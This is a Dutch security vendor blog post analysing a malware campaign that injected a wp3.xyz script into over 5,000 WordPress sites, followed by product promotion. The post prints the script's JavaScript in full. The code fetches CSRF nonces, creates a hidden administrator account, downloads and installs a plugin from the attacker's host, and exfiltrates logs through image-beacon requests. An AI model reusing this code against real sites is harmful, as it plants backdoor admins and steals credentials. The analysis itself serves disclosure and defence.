Skip to main content
Blog
Blog Attacks

Meer dan 5.000 WordPress-sites getroffen door WP3[.]XYZ malware-aanval

We hebben een wijdverspreide malware-campagne ontdekt die zich richt op WordPress-websites en meer dan 5.000 sites wereldwijd treft. Het kwaadaardige domein: \"https://wp3.xyz/plugin[.]php\".

Jan 13, 2025 4 min read
new-malware-attack-image-cover

Kort samengevat: verborgen admin-account en plugin-upload wp3.xyz via CSRF-replay

  • Geen plugin-CVE: De sector zet WordPress-pluginkwetsbaarheden als het risico. wp3[.]xyz laat zien dat het echte risico is wat een kwaadaardig script doet na de compromittering, en het had geen nieuwe CVE nodig om de wpx_admin-backdoor op ruim 5.000 sites te planten.
  • De aanvalsketen: Het script haalde een CSRF _wpnonce_create-user token op, POSTte een administrator-account, downloadde vervolgens plugin.php en installeerde het via /wp-admin/update.php?action=upload-plugin, waarbij logs via Image()-beacons naar tdw1.php werden geexfiltreerd. cside ving en stopte de aanval op de site van een gratis-tier gebruiker voor de plugin activeerde.
  • Ga verder dan 2FA: Als je WordPress-hardeningverhaal stopt bij plugin-updates en 2FA, bescherm je tegen het playbook van gisteren. Voeg deze week runtime-scriptmonitoring toe die fetch-calls naar /wp-admin/user-new.php vanuit third-party origins markeert.

Weinig tijd? Bekijk cside's in-browser Magecart- en skimmerblokkering. Dit dekt alles hieronder in één deployment.

We hebben een wijdverspreide malware-campagne ontdekt die zich richt op WordPress-websites en meer dan 5.000 sites wereldwijd treft.

Het kwaadaardige domein: https://wp3[.]xyz/td.js.

Een van onze gebruikers werd getroffen. cside heeft de aanval gedetecteerd en gestopt.

cside-domeindirectory waarop wp3.xyz als kwaadaardig is gemarkeerd
cside crawler heeft het kwaadaardige domein gedetecteerd

Het is nog onduidelijk hoe de scripts op de sites terecht zijn gekomen. Tot nu toe hebben we geen gemeenschappelijke noemer geïdentificeerd en ons onderzoek loopt nog.

We weten wel dat het script ongeautoriseerde beheerdersaccounts aanmaakt met een gebruikersnaam en wachtwoord die in de code te vinden zijn.

  • Gebruikersnaam: wpx_admin
  • Wachtwoord: [GEREDIGEERD]

Na het aanmaken van het account downloadt het script een kwaadaardige WordPress-plugin en activeert deze op de nu geïnfecteerde website - waarbij gevoelige gegevens naar een externe server worden verzonden.

Controleer uw site nu om ongeautoriseerde beheerdersaccounts te verwijderen en verwijder ongebruikte plugins of thema's.

Vind geïnfecteerde websites via:

Het script in detail

Eerst haalt het script het CSRF-token op dat nodig is voor het verzoek. Vervolgens stuurt het een POST-verzoek om een gebruiker aan te maken met hardcoded inloggegevens. Het logt de status van de operatie.

async function createUser() {
    const userPage = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
        credentials: 'include',
        headers: { 'Accept': 'text/html' }
    }).then(r => r.text());

    const doc = new DOMParser().parseFromString(userPage, 'text/html');
    const csrfToken = doc.querySelector('input[name="_wpnonce_create-user"]')?.value;

    if (!csrfToken) {
        sendLog({ error: 'CSRF token not found', type: 'error' });
        return;
    }

    const formData = new FormData();
    formData.append('_wpnonce_create-user', csrfToken);
    formData.append('user_login', 'wpx_admin');
    formData.append('pass1', '[REDACTED BY CSIDE]');
    formData.append('pass2', '[REDACTED BY CSIDE]');
    formData.append('role', 'administrator');

    const response = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
        method: 'POST',
        body: formData,
        credentials: 'include'
    });

    sendLog({ status: response.ok ? 'success' : 'failed', type: 'user_create' });
}

Nadat het script de plugin heeft gedownload van https://wp3[.]xyz/plugin.php, activeert het script deze op de geïnfecteerde site. Het script communiceert met https://wp3[.]xyz/tdw1.php en verstuurt gevoelige gegevens zoals beheerdersreferenties en operatielogs via verduisterde afbeeldingsverzoeken.

function sendLog(data) {
    const logUrl = 'https://wp3[.]xyz/tdw1.php';
    const img = new Image(); // Logs data via an image request.
    const timestamp = Date.now();

    img.onerror = () => {
        if (retryCount < maxRetries) {
            retryCount++;
            setTimeout(() => sendLog(data), 1000 * retryCount); // Retry with backoff.
        }
    };

    img.src = `${logUrl}?data=${encodeURIComponent(JSON.stringify({
        ...data,
        url: window.location.origin,
        timestamp,
        userAgent: navigator.userAgent
    }))}&t=${timestamp}`;
}

Zodra de aanvaller beheerderstoegang heeft, uploadt het script een kwaadaardige plugin. Het haalt de plugin op van een externe server en uploadt deze naar de WordPress-site.

De installPlugin-functie werkt als volgt:

  1. Haalt de plugin-uploadpagina op om het CSRF-token te verkrijgen.
  2. Downloadt het kwaadaardige pluginbestand.
  3. Dient het pluginbestand in voor installatie.

Het gebruikt vervolgens de volgende technieken:

  • Uploaden van de plugin via: /wp-admin/update[.]php?action=upload-plugin.
  • Ophalen van de plugin van een externe bron: https://wp3[.]xyz.
async function installPlugin() {
    const pluginPage = await fetch(`${window.location.origin}/wp-admin/plugin-install.php?tab=upload`, {
        credentials: 'include',
        headers: { 'Accept': 'text/html' }
    }).then(r => r.text());

    const pluginDoc = new DOMParser().parseFromString(pluginPage, 'text/html');
    const pluginToken = pluginDoc.querySelector('input[name="_wpnonce"]')?.value;

    if (pluginToken) {
        const pluginData = await fetch('https://wp3[.]xyz/plugin.php', {
            mode: 'no-cors'
        }).then(r => r.blob());

        const pluginForm = new FormData();
        pluginForm.append('_wpnonce', pluginToken);
        pluginForm.append('pluginzip', pluginData, 'plugin.zip');

        const response = await fetch(`${window.location.origin}/wp-admin/update.php?action=upload-plugin`, {
            method: 'POST',
            body: pluginForm,
            credentials: 'include'
        });

        sendLog({ type: 'plugin', status: response.ok ? 'installed' : 'failed' });
    }
}

Het script verifieert ten slotte of de kwaadaardige plugin succesvol is geïnstalleerd door te controleren op verwijzingen naar https://wp3[.]xyz in de website-inhoud.

const finalCheck = await fetch(window.location.origin, {
    credentials: 'include',
    headers: { 'Accept': 'text/html' }
}).then(r => r.text());

if (finalCheck.includes('wp3[.]xyz')) {
    sendLog({ type: 'verification', status: 'success', message: 'Payload verified' });
} else {
    sendLog({ type: 'verification', status: 'failed', message: 'Payload not found' });
}

Bescherm tegen deze aanval

  1. Blokkeer het domein https://wp3[.]xyz in firewalls of beveiligingstools.
  2. Controleer WordPress-beheerdersaccounts op ongeautoriseerde gebruikers.
  3. Verwijder verdachte plugins en valideer bestaande.
  4. Versterk CSRF-bescherming en implementeer multi-factor authenticatie (MFA).
  5. Overweeg het gebruik van cside

De geïnfecteerde gebruiker gebruikte de gratis versie van cside. U kunt cside installeren om uw site binnen enkele minuten te beschermen tegen deze en vergelijkbare aanvallen.

cside haalt alle scripts aan onze kant op en analyseert ze voor realtime analyse, waarschuwingen en het blokkeren van potentieel kwaadaardige scripts. Dit script opgehaald van https://wp3[.]xyz/tdw.js werd succesvol gedetecteerd en geblokkeerd op de website van onze gebruiker.

Neem contact met ons op als u zich zorgen maakt of wilt overstappen naar de hogere tiers.

Controleer uw site op alle beheerders en zorg ervoor dat hun wachtwoorden en 2FA correct zijn ingesteld. U kunt onze publieke crawler gebruiken om te controleren op potentieel kwaadaardige scripts op uw website.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

FAQ

Frequently Asked Questions

Gecompromitteerde WordPress-sites laadden een script van wp3.xyz dat verborgen admin-accounts aanmaakte en gegevens uitlekte. Op het moment van ons rapport waren meer dan 5.000 sites geïnfecteerd; dagen later draaiden er nog veel meer.

Zoek in de site-source naar wp3.xyz, verwijder onbekende admin-gebruikers en draai alle WordPress-credentials. Een client-side scanner zoals cside vangt ook injectiepogingen die statische plugin-scans missen.

Monitor en beveilig je third-party scripts

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Start gratis, of probeer Business met een proefperiode van 14 dagen.

cside-dashboardinterface met scriptmonitoring en beveiligingsanalyses
Related Articles
Boek een demo

Wil je dit doornemen met een engineer?

Dertig minuten, op je eigen site. Geen slides.

We laten je zien:

Welke scripts van derden er nu op je site draaien
Hoe je ervoor staat op PCI DSS 6.4.3 en 11.6.1
Welk deel van je verkeer uit bots en AI-agents bestaat

Liever gewoon een vraag stellen?

Vrije momenten zoeken…

Alleen echte mensen. Wij merken het.

Lukt het boeken niet? Agenda in een nieuw tabblad openen

Wat wil je oplossen?

Vertel het ons in één zin, dan komen we terug met iets bruikbaars in plaats van een standaardverhaal.

Waar we meestal mee helpen:

Zien welke scripts van derden op je site draaien
Bewijs voor PCI DSS 6.4.3 en 11.6.1
Bots, AI-agents en accountovername

Liever meteen een moment inplannen? Kies een tijdstip